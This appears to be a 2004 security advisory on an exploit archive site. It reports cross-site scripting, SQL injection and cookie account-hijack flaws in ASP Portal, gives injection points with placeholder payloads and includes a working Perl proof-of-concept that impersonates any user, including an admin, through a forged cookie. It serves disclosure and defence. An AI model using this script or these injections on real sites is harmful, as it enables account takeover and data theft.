what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ASPportal.txt

ASPportal.txt
Posted Feb 13, 2004
Authored by Manuel Lopez

ASP Portal suffers from multiple vulnerabilities that can lead to disclosure of authentication information, disclosure of user information, execution of arbitrary code remotely, modification of user information, and identity spoofing. Cookie hijacking exploit enclosed.

tags | exploit, arbitrary, spoof, vulnerability, asp
SHA-256 | e8e1d8a121e11e0a9246f324ce6326b2f6d53ab92eace97fe8e0cd1214ba9a81

ASPportal.txt

Change Mirror Download
 -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Title: Asp Portal Multiple Vulnerabilities

By: Manuel López

Software: Asp Portal

Vendor Description:
ASP Portal is a an ASP powered portal site which uses an Access database to
store all the site info. The script also includes and easy to use Admin
Interface, so you can change everything you need to online, which makes
maintaing the site very easy.

Severity:
Moderately critical

Impact:
Disclosure of authentication information, Disclosure of user information,
Execution of arbitrary code via network, Modification of user information,
ID Spoofing.

Underlying OS: Linux (Any), UNIX (Any), Windows (Any)

Description:

---- Cross-Site Scripting ----

This product is vulnerable to the Cross-Site Scripting vulnerability that
would allow attackers to inject HTML and script codes into the pages and
execute it on the client's browser.

http://localhost/index.asp?inc='>[XSS]
http://localhost/index.asp?inc=profile&searchtext='>[XSS]
http://localhost/index.asp?inc=forumread&article='>[XSS]

---- Image ScriptCode Injection ----

An attacker can inject arbitrary HTML or scriptcode instead of an Image in
"photograph URL" of user's 'details' page.
javascript:alert()

---- Sql Injection ----

Another problem of sanitation could lead an attacker to inject SQL code to
manipulate and disclose various information from the database. The problem
is in the fields 'pageid' and 'downloadscat'.

http://localhost/index.asp?inc=blog&pageid='[SqlQuery]
http://localhost/index.asp?inc=downloadssub&downloadscat='[SqlQuery]

Also it is possible an Sql Injection in the cookie, in 'thenick' field.

GET http://localhost/index.asp HTTP/1.1
Cookie: thenick='[SqlQuery]

---- Cookie Account Hijack ----

It is possible to impersonate others by manipulating the 'thenick' parameter
in the cookie.
Modifying the cookie is possible to gain access to other account. This issue
can be exploited to gain an administrative account with the service.

---- PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ----

#!/usr/bin/perl -w
## PROOF OF CONCEPT COOKIE ACCOUNT HIJACK
## Example: Asp-POC.pl localhost portal/index.asp Admin respuesta.htm

use IO::Socket;
if (@ARGV < 4)
{
print "\n\n";
print " ____________________________________________________________ \n";
print "| |\n";
print "| PROOF OF CONCEPT COOKIE ACCOUNT HIJACK |\n";
print "| Usage:Asp-POC.pl [host] [directorio] [usuario] [fichero] |\n";
print "| |\n";
print "| By: Manuel López #IST |\n";
print "|____________________________________________________________|\n";
print "\n\n";
exit(1);
}

$host = $ARGV[0];
$directorio = $ARGV[1];
$usuario = $ARGV[2];
$fichero = $ARGV[3];

print "\n";
print "----- Conectando <----\n";
$socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => "$host",PeerPort => "80") || die "$socket error $!";
print "====> Conectado\n";
print "====> Enviando Datos\n";
$socket->print(<<taqui) or die "write: $!";
GET http://$host/$directorio HTTP/1.1
Cookie: thenick=$usuario

taqui
print "====> OK\n";
print "====> Generando $fichero ...\n";
open( Result, ">$fichero");
print Result while <$socket>;
close Result;

------------------------------------------------

Solution:
Vendor contacted.
The vulnerabilities have reportedly been fixed in the new version.
Download the January patch:
http://www.aspportal.net/downloadsviewer.asp?theurl=38 or buy the new
version.

---- Credits ----

Manuel López ( mantra@gulo.org ) #IST
Special Thank´s: -- Aklis -- gulo.org

Kein, Skool, TheChakal, vientoS, |RDR|, NSR500, ^SaRgE^ .. and all the #IST
staff.

Excuse me for speaking English so badly.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1

iD8DBQFALavflZD3/ZFHM4ERApRSAJ46rZRn3OlSXp/k2jXwCXT0S0RLywCgn08e
mx+V1tKxAMSzt7PTgVh2D2A=
=0oiR
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close